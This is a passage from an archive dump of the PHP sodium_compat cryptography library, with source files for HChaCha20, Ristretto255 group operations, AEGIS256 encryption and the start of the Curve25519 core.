        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
Core/HChaCha20.php000064400000007437151024233030007532 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core_HChaCha20 extends ParagonIE_Sodium_Core_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key = '', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = 0x61707865;
            $ctx[1] = 0x3320646e;
            $ctx[2] = 0x79622d32;
            $ctx[3] = 0x6b206574;
        } else {
            $ctx[0] = self::load_4(self::substr($c,  0, 4));
            $ctx[1] = self::load_4(self::substr($c,  4, 4));
            $ctx[2] = self::load_4(self::substr($c,  8, 4));
            $ctx[3] = self::load_4(self::substr($c, 12, 4));
        }
        $ctx[4]  = self::load_4(self::substr($key,  0, 4));
        $ctx[5]  = self::load_4(self::substr($key,  4, 4));
        $ctx[6]  = self::load_4(self::substr($key,  8, 4));
        $ctx[7]  = self::load_4(self::substr($key, 12, 4));
        $ctx[8]  = self::load_4(self::substr($key, 16, 4));
        $ctx[9]  = self::load_4(self::substr($key, 20, 4));
        $ctx[10] = self::load_4(self::substr($key, 24, 4));
        $ctx[11] = self::load_4(self::substr($key, 28, 4));
        $ctx[12] = self::load_4(self::substr($in,   0, 4));
        $ctx[13] = self::load_4(self::substr($in,   4, 4));
        $ctx[14] = self::load_4(self::substr($in,   8, 4));
        $ctx[15] = self::load_4(self::substr($in,  12, 4));
        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        $x0  = (int) $ctx[0];
        $x1  = (int) $ctx[1];
        $x2  = (int) $ctx[2];
        $x3  = (int) $ctx[3];
        $x4  = (int) $ctx[4];
        $x5  = (int) $ctx[5];
        $x6  = (int) $ctx[6];
        $x7  = (int) $ctx[7];
        $x8  = (int) $ctx[8];
        $x9  = (int) $ctx[9];
        $x10 = (int) $ctx[10];
        $x11 = (int) $ctx[11];
        $x12 = (int) $ctx[12];
        $x13 = (int) $ctx[13];
        $x14 = (int) $ctx[14];
        $x15 = (int) $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
        }

        return self::store32_le((int) ($x0  & 0xffffffff)) .
            self::store32_le((int) ($x1  & 0xffffffff)) .
            self::store32_le((int) ($x2  & 0xffffffff)) .
            self::store32_le((int) ($x3  & 0xffffffff)) .
            self::store32_le((int) ($x12 & 0xffffffff)) .
            self::store32_le((int) ($x13 & 0xffffffff)) .
            self::store32_le((int) ($x14 & 0xffffffff)) .
            self::store32_le((int) ($x15 & 0xffffffff));
    }
}
Core/Ristretto255.php000064400000052574151024233030010406 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Ristretto255
 */
class ParagonIE_Sodium_Core_Ristretto255 extends ParagonIE_Sodium_Core_Ed25519
{
    const crypto_core_ristretto255_HASHBYTES = 64;
    const HASH_SC_L = 48;
    const CORE_H2C_SHA256 = 1;
    const CORE_H2C_SHA512 = 2;

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param int $b
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_cneg(ParagonIE_Sodium_Core_Curve25519_Fe $f, $b)
    {
        $negf = self::fe_neg($f);
        return self::fe_cmov($f, $negf, $b);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @throws SodiumException
     */
    public static function fe_abs(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        return self::fe_cneg($f, self::fe_isnegative($f));
    }

    /**
     * Returns 0 if this field element results in all NUL bytes.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return int
     * @throws SodiumException
     */
    public static function fe_iszero(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        static $zero;
        if ($zero === null) {
            $zero = str_repeat("\x00", 32);
        }
        /** @var string $zero */
        $str = self::fe_tobytes($f);

        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($str[$i]);
        }
        return (($d - 1) >> 31) & 1;
    }


    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $u
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $v
     * @return array{x: ParagonIE_Sodium_Core_Curve25519_Fe, nonsquare: int}
     *
     * @throws SodiumException
     */
    public static function ristretto255_sqrt_ratio_m1(
        ParagonIE_Sodium_Core_Curve25519_Fe $u,
        ParagonIE_Sodium_Core_Curve25519_Fe $v
    ) {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);

        $v3 = self::fe_mul(
            self::fe_sq($v),
            $v
        ); /* v3 = v^3 */
        $x = self::fe_mul(
            self::fe_mul(
                self::fe_sq($v3),
                $u
            ),
            $v
        ); /* x = uv^7 */

        $x = self::fe_mul(
            self::fe_mul(
                self::fe_pow22523($x), /* x = (uv^7)^((q-5)/8) */
                $v3
            ),
            $u
        ); /* x = uv^3(uv^7)^((q-5)/8) */

        $vxx = self::fe_mul(
            self::fe_sq($x),
            $v
        ); /* vx^2 */

        $m_root_check = self::fe_sub($vxx, $u); /* vx^2-u */
        $p_root_check = self::fe_add($vxx, $u); /* vx^2+u */
        $f_root_check = self::fe_mul($u, $sqrtm1); /* u*sqrt(-1) */
        $f_root_check = self::fe_add($vxx, $f_root_check); /* vx^2+u*sqrt(-1) */

        $has_m_root = self::fe_iszero($m_root_check);
        $has_p_root = self::fe_iszero($p_root_check);
        $has_f_root = self::fe_iszero($f_root_check);

        $x_sqrtm1 = self::fe_mul($x, $sqrtm1); /* x*sqrt(-1) */

        $x = self::fe_abs(
            self::fe_cmov($x, $x_sqrtm1, $has_p_root | $has_f_root)
        );
        return array(
            'x' => $x,
            'nonsquare' => $has_m_root | $has_p_root
        );
    }

    /**
     * @param string $s
     * @return int
     * @throws SodiumException
     */
    public static function ristretto255_point_is_canonical($s)
    {
        $c = (self::chrToInt($s[31]) & 0x7f) ^ 0x7f;
        for ($i = 30; $i > 0; --$i) {
            $c |= self::chrToInt($s[$i]) ^ 0xff;
        }
        $c = ($c - 1) >> 8;
        $d = (0xed - 1 - self::chrToInt($s[0])) >> 8;
        $e = self::chrToInt($s[31]) >> 7;

        return 1 - ((($c & $d) | $e | self::chrToInt($s[0])) & 1);
    }

    /**
     * @param string $s
     * @param bool $skipCanonicalCheck
     * @return array{h: ParagonIE_Sodium_Core_Curve25519_Ge_P3, res: int}
     * @throws SodiumException
     */
    public static function ristretto255_frombytes($s, $skipCanonicalCheck = false)
    {
        if (!$skipCanonicalCheck) {
            if (!self::ristretto255_point_is_canonical($s)) {
                throw new SodiumException('S is not canonical');
            }
        }

        $s_ = self::fe_frombytes($s);
        $ss = self::fe_sq($s_); /* ss = s^2 */

        $u1 = self::fe_sub(self::fe_1(), $ss); /* u1 = 1-ss */
        $u1u1 = self::fe_sq($u1); /* u1u1 = u1^2 */

        $u2 = self::fe_add(self::fe_1(), $ss); /* u2 = 1+ss */
        $u2u2 = self::fe_sq($u2); /* u2u2 = u2^2 */

        $v = self::fe_mul(
            ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d),
            $u1u1
        ); /* v = d*u1^2 */
        $v = self::fe_neg($v); /* v = -d*u1^2 */
        $v = self::fe_sub($v, $u2u2); /* v = -(d*u1^2)-u2^2 */
        $v_u2u2 = self::fe_mul($v, $u2u2); /* v_u2u2 = v*u2^2 */

        // fe25519_1(one);
        // notsquare = ristretto255_sqrt_ratio_m1(inv_sqrt, one, v_u2u2);
        $one = self::fe_1();
        $result = self::ristretto255_sqrt_ratio_m1($one, $v_u2u2);
        $inv_sqrt = $result['x'];
        $notsquare = $result['nonsquare'];

        $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3();

        $h->X = self::fe_mul($inv_sqrt, $u2);
        $h->Y = self::fe_mul(self::fe_mul($inv_sqrt, $h->X), $v);

        $h->X = self::fe_mul($h->X, $s_);
        $h->X = self::fe_abs(
            self::fe_add($h->X, $h->X)
        );
        $h->Y = self::fe_mul($u1, $h->Y);
        $h->Z = self::fe_1();
        $h->T = self::fe_mul($h->X, $h->Y);

        $res = - ((1 - $notsquare) | self::fe_isnegative($h->T) | self::fe_iszero($h->Y));
        return array('h' => $h, 'res' => $res);
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h)
    {
        $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $invsqrtamd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$invsqrtamd);

        $u1 = self::fe_add($h->Z, $h->Y); /* u1 = Z+Y */
        $zmy = self::fe_sub($h->Z, $h->Y); /* zmy = Z-Y */
        $u1 = self::fe_mul($u1, $zmy); /* u1 = (Z+Y)*(Z-Y) */
        $u2 = self::fe_mul($h->X, $h->Y); /* u2 = X*Y */

        $u1_u2u2 = self::fe_mul(self::fe_sq($u2), $u1); /* u1_u2u2 = u1*u2^2 */
        $one = self::fe_1();

        // fe25519_1(one);
        // (void) ristretto255_sqrt_ratio_m1(inv_sqrt, one, u1_u2u2);
        $result = self::ristretto255_sqrt_ratio_m1($one, $u1_u2u2);
        $inv_sqrt = $result['x'];

        $den1 = self::fe_mul($inv_sqrt, $u1); /* den1 = inv_sqrt*u1 */
        $den2 = self::fe_mul($inv_sqrt, $u2); /* den2 = inv_sqrt*u2 */
        $z_inv = self::fe_mul($h->T, self::fe_mul($den1, $den2)); /* z_inv = den1*den2*T */

        $ix = self::fe_mul($h->X, $sqrtm1); /* ix = X*sqrt(-1) */
        $iy = self::fe_mul($h->Y, $sqrtm1); /* iy = Y*sqrt(-1) */
        $eden = self::fe_mul($den1, $invsqrtamd);

        $t_z_inv =  self::fe_mul($h->T, $z_inv); /* t_z_inv = T*z_inv */
        $rotate = self::fe_isnegative($t_z_inv);

        $x_ = self::fe_copy($h->X);
        $y_ = self::fe_copy($h->Y);
        $den_inv = self::fe_copy($den2);

        $x_ = self::fe_cmov($x_, $iy, $rotate);
        $y_ = self::fe_cmov($y_, $ix, $rotate);
        $den_inv = self::fe_cmov($den_inv, $eden, $rotate);

        $x_z_inv = self::fe_mul($x_, $z_inv);
        $y_ = self::fe_cneg($y_, self::fe_isnegative($x_z_inv));


        // fe25519_sub(s_, h->Z, y_);
        // fe25519_mul(s_, den_inv, s_);
        // fe25519_abs(s_, s_);
        // fe25519_tobytes(s, s_);
        return self::fe_tobytes(
            self::fe_abs(
                self::fe_mul(
                    $den_inv,
                    self::fe_sub($h->Z, $y_)
                )
            )
        );
    }

    /**
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $t
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     *
     * @throws SodiumException
     */
    public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t)
    {
        $sqrtm1   = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1);
        $onemsqd  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd);
        $d        = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d);
        $sqdmone  = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone);
        $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1);

        $one = self::fe_1();
        $r   = self::fe_mul($sqrtm1, self::fe_sq($t));         /* r = sqrt(-1)*t^2 */
        $u   = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */
        $c   = self::fe_neg(self::fe_1());                     /* c = -1 */
        $rpd = self::fe_add($r, $d);                           /* rpd = r+d */

        $v = self::fe_mul(
            self::fe_sub(
                $c,
                self::fe_mul($r, $d)
            ),
            $rpd
        ); /* v = (c-r*d)*(r+d) */

        $result = self::ristretto255_sqrt_ratio_m1($u, $v);
        $s = $result['x'];
        $wasnt_square = 1 - $result['nonsquare'];

        $s_prime = self::fe_neg(
            self::fe_abs(
                self::fe_mul($s, $t)
            )
        ); /* s_prime = -|s*t| */
        $s = self::fe_cmov($s, $s_prime, $wasnt_square);
        $c = self::fe_cmov($c, $r, $wasnt_square);

        // fe25519_sub(n, r, one);            /* n = r-1 */
        // fe25519_mul(n, n, c);              /* n = c*(r-1) */
        // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */
        // fe25519_sub(n, n, v);              /* n =  c*(r-1)*(d-1)^2-v */
        $n = self::fe_sub(
            self::fe_mul(
                self::fe_mul(
                    self::fe_sub($r, $one),
                    $c
                ),
                $sqdmone
            ),
            $v
        ); /* n =  c*(r-1)*(d-1)^2-v */

        $w0 = self::fe_mul(
            self::fe_add($s, $s),
            $v
        ); /* w0 = 2s*v */

        $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */
        $ss = self::fe_sq($s); /* ss = s^2 */
        $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */
        $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */

        return new ParagonIE_Sodium_Core_Curve25519_Ge_P3(
            self::fe_mul($w0, $w3),
            self::fe_mul($w2, $w1),
            self::fe_mul($w1, $w3),
            self::fe_mul($w0, $w2)
        );
    }

    /**
     * @param string $h
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_from_hash($h)
    {
        if (self::strlen($h) !== 64) {
            throw new SodiumException('Hash must be 64 bytes');
        }
        //fe25519_frombytes(r0, h);
        //fe25519_frombytes(r1, h + 32);
        $r0 = self::fe_frombytes(self::substr($h, 0, 32));
        $r1 = self::fe_frombytes(self::substr($h, 32, 32));

        //ristretto255_elligator(&p0, r0);
        //ristretto255_elligator(&p1, r1);
        $p0 = self::ristretto255_elligator($r0);
        $p1 = self::ristretto255_elligator($r1);

        //ge25519_p3_to_cached(&p1_cached, &p1);
        //ge25519_add_cached(&p_p1p1, &p0, &p1_cached);
        $p_p1p1 = self::ge_add(
            $p0,
            self::ge_p3_to_cached($p1)
        );

        //ge25519_p1p1_to_p3(&p, &p_p1p1);
        //ristretto255_p3_tobytes(s, &p);
        return self::ristretto255_p3_tobytes(
            self::ge_p1p1_to_p3($p_p1p1)
        );
    }

    /**
     * @param string $p
     * @return int
     * @throws SodiumException
     */
    public static function is_valid_point($p)
    {
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            return 0;
        }
        return 1;
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_add($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_add($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }

    /**
     * @param string $p
     * @param string $q
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_sub($p, $q)
    {
        $p_res = self::ristretto255_frombytes($p);
        $q_res = self::ristretto255_frombytes($q);
        if ($p_res['res'] !== 0 || $q_res['res'] !== 0) {
            throw new SodiumException('Could not add points');
        }
        $p_p3 = $p_res['h'];
        $q_p3 = $q_res['h'];
        $q_cached = self::ge_p3_to_cached($q_p3);
        $r_p1p1 = self::ge_sub($p_p3, $q_cached);
        $r_p3 = self::ge_p1p1_to_p3($r_p1p1);
        return self::ristretto255_p3_tobytes($r_p3);
    }


    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 64);
        $st = hash_init('sha256');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 64) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha256');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 64);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 128);
        $st = hash_init('sha512');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 128) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha512');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 128);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg)
    {
        switch ($hash_alg) {
            case self::CORE_H2C_SHA256:
                return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg);
            case self::CORE_H2C_SHA512:
                return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg);
            default:
                throw new SodiumException('Invalid H2C hash algorithm');
        }
    }

    /**
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    protected static function _string_to_element($ctx, $msg, $hash_alg)
    {
        return self::ristretto255_from_hash(
            self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     * @throws Exception
     */
    public static function ristretto255_random()
    {
        return self::ristretto255_from_hash(
            ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random()
    {
        return self::scalar_random();
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement($s)
    {
        return self::scalar_complement($s);
    }


    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_invert($s)
    {
        return self::sc25519_invert($s);
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate($s)
    {
        return self::scalar_negate($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_add($x, $y)
    {
        return self::scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_sub($x, $y)
    {
        return self::scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_mul($x, $y)
    {
        return self::sc25519_mul($x, $y);
    }

    /**
     * @param string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg)
    {
        $h = array_fill(0, 64, 0);
        $h_be = self::stringToIntArray(
            self::h2c_string_to_hash(
                self::HASH_SC_L, $ctx, $msg, $hash_alg
            )
        );

        for ($i = 0; $i < self::HASH_SC_L; ++$i) {
            $h[$i] = $h_be[self::HASH_SC_L - 1 - $i];
        }
        return self::ristretto255_scalar_reduce(self::intArrayToString($h));
    }

    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_reduce($s)
    {
        return self::sc_reduce($s);
    }

    /**
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255($n, $p)
    {
        if (self::strlen($n) !== 32) {
            throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        if (self::strlen($p) !== 32) {
            throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            throw new SodiumException('Could not multiply points');
        }
        $P = $result['h'];

        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult(self::intArrayToString($t), $P);
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }

    /**
     * @param string $n
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base($n)
    {
        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult_base(self::intArrayToString($t));
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }
}
Core/AEGIS256.php000064400000007016151024233030007227 0ustar00<?php

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS256 extends ParagonIE_Sodium_Core_AES
{
    /**
     * @param string $ct
     * @param string $tag
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return string
     * @throws SodiumException
     */
    public static function decrypt($ct, $tag, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);

        // ad_blocks = Split(ZeroPad(ad, 128), 128)
        $ad_blocks = (self::strlen($ad) + 15) >> 4;
        // for ai in ad_blocks:
        //     Absorb(ai)
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 4, 16);
            if (self::strlen($ai) < 16) {
                $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $msg = '';
        $cn = self::strlen($ct) & 15;
        $ct_blocks = self::strlen($ct) >> 4;
        // ct_blocks = Split(ZeroPad(ct, 128), 128)
        // cn = Tail(ct, |ct| mod 128)
        for ($i = 0; $i < $ct_blocks; ++$i) {
            $msg .= $state->dec(self::substr($ct, $i << 4, 16));
        }
        // if cn is not empty:
        //   msg = msg || DecPartial(cn)
        if ($cn) {
            $start = $ct_blocks << 4;
            $msg .= $state->decPartial(self::substr($ct, $start, $cn));
        }
        $expected_tag = $state->finalize(
            self::strlen($ad) << 3,
            self::strlen($msg) << 3
        );
        if (!self::hashEquals($expected_tag, $tag)) {
            try {
                // The RFC says to erase msg, so we shall try:
                ParagonIE_Sodium_Compat::memzero($msg);
            } catch (SodiumException $ex) {
                // Do nothing if we cannot memzero
            }
            throw new SodiumException('verification failed');
        }
        return $msg;
    }

    /**
     * @param string $msg
     * @param string $ad
     * @param string $key
     * @param string $nonce
     * @return array
     * @throws SodiumException
     */
    public static function encrypt($msg, $ad, $key, $nonce)
    {
        $state = self::init($key, $nonce);
        $ad_len = self::strlen($ad);
        $msg_len = self::strlen($msg);
        $ad_blocks = ($ad_len + 15) >> 4;
        for ($i = 0; $i < $ad_blocks; ++$i) {
            $ai = self::substr($ad, $i << 4, 16);
            if (self::strlen($ai) < 16) {
                $ai = str_pad($ai, 16, "\0", STR_PAD_RIGHT);
            }
            $state->absorb($ai);
        }

        $ct = '';
        $msg_blocks = ($msg_len + 15) >> 4;
        for ($i = 0; $i < $msg_blocks; ++$i) {
            $xi = self::substr($msg, $i << 4, 16);
            if (self::strlen($xi) < 16) {
                $xi = str_pad($xi, 16, "\0", STR_PAD_RIGHT);
            }
            $ct .= $state->enc($xi);
        }
        $tag = $state->finalize(
            $ad_len << 3,
            $msg_len << 3
        );
        return array(
            self::substr($ct, 0, $msg_len),
            $tag
        );

    }

    /**
     * @param string $key
     * @param string $nonce
     * @return ParagonIE_Sodium_Core_AEGIS_State256
     */
    public static function init($key, $nonce)
    {
        return ParagonIE_Sodium_Core_AEGIS_State256::init($key, $nonce);
    }
}
Core/Curve25519.php000064400000426446151024233030007650 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519
 *
 * Implements Curve25519 core functions
 *
 * Based on the ref10 curve25519 code provided by libsodium
 *
 * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c
 */
abstract class ParagonIE_Sodium_Core_Curve25519 extends ParagonIE_Sodium_Core_Curve25519_H
{
    /**
     * Get a field element of size 10 with a value of 0
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_0()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Get a field element of size 10 with a value of 1
     *
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_1()
    {
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(
            array(1, 0, 0, 0, 0, 0, 0, 0, 0, 0)
        );
    }

    /**
     * Add two field elements.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public static function fe_add(
